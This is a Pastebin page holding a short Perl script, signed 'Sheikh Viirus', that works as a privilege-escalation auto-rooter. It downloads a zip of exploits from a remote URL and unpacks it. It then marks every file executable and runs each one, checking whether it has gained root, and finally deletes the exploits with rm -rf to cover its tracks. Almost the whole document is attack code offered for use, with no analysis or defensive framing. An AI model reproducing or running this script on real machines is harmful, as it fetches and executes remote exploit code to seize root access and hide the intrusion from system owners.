Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- #Sheikh Viirus
- use LWP::Simple qw(getstore);
- $url = "http://dwn/exps.zip";
- getstore($url,"exps.zip") unless -e "exps.zip";
- `unzip -o exps.zip`;
- chdir("exps");
- chmod 0777, glob('*');
- print "+ testing: \n";
- foreach (glob('*'))
- {
- print "\t".$_." > ";
- exec($_);
- if($< == 0){`rm -rf exps exps.zip`;die "#G0t R00t\n";}else{print "faild\n";}
- }
- print "cleaning";
- `rm -rf exps exps.zip`;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement